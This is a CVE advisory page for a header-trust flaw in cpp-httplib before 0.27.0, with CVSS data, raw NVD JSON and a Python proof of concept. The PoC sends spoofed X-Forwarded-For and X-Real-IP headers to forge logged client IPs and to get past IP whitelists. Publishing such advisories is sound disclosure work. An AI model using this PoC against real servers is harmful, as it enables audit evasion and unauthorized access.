Security Vulnerability Report
中文
CVE-2025-66577 CVSS 5.3 MEDIUM

CVE-2025-66577

Published: 2025-12-05 19:15:53
Last Modified: 2025-12-11 18:09:30

Description

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion). This vulnerability is fixed in 0.27.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:* - VULNERABLE
cpp-httplib < 0.27.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66577 PoC - IP Header Injection # Target: cpp-httplib < 0.27.0 # Attack: Inject X-Forwarded-For or X-Real-IP to spoof client IP target_url = "http://target-server.com/api/endpoint" # Legitimate request (real IP logged) legitimate_headers = { "User-Agent": "Mozilla/5.0" } # Malicious request (spoofed IP logged) malicious_headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "127.0.0.1", # Spoofed localhost IP "X-Real-IP": "10.0.0.1" # Alternative spoofed IP } # Send malicious request response = requests.get(target_url, headers=malicious_headers) print(f"Status: {response.status_code}") print(f"Server logs IP: 127.0.0.1 (spoofed)") # Bypass IP-based restrictions bypass_headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "192.168.1.100", # Whitelisted IP "X-Real-IP": "192.168.1.100" } response_bypass = requests.get(target_url, headers=bypass_headers) print(f"Bypass attempt status: {response_bypass.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66577", "sourceIdentifier": "[email protected]", "published": "2025-12-05T19:15:52.540", "lastModified": "2025-12-11T18:09:30.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion). This vulnerability is fixed in 0.27.0."}, {"lang": "es", "value": "cpp-httplib es una biblioteca C++11 multiplataforma de un solo archivo de cabecera HTTP/HTTPS. En versiones anteriores a 0.27.0, una vulnerabilidad permite que encabezados HTTP controlados por el atacante influyan en los metadatos visibles para el servidor, el registro y las decisiones de autorización. Un atacante puede proporcionar encabezados X-Forwarded-For o X-Real-IP que son aceptados incondicionalmente por get_client_ip() en docker/main.cc, lo que provoca que los registros de acceso y error (nginx_access_logger / nginx_error_logger) registren IPs de cliente falsificadas (envenenamiento de registros / evasión de auditoría). Esta vulnerabilidad está corregida en 0.27.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-117"}, {"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.27.0", "matchCriteriaId": "833767D4-2EB6-44EB-AF07-8942AF6F6075"}]}]}], "references": [{"url": "https://github.com/yhirose/cpp-httplib/commit/ac9ebb0ee333ce8bf13523f487bdfad9518a2aff", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-gfpf-r66f-5mh2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}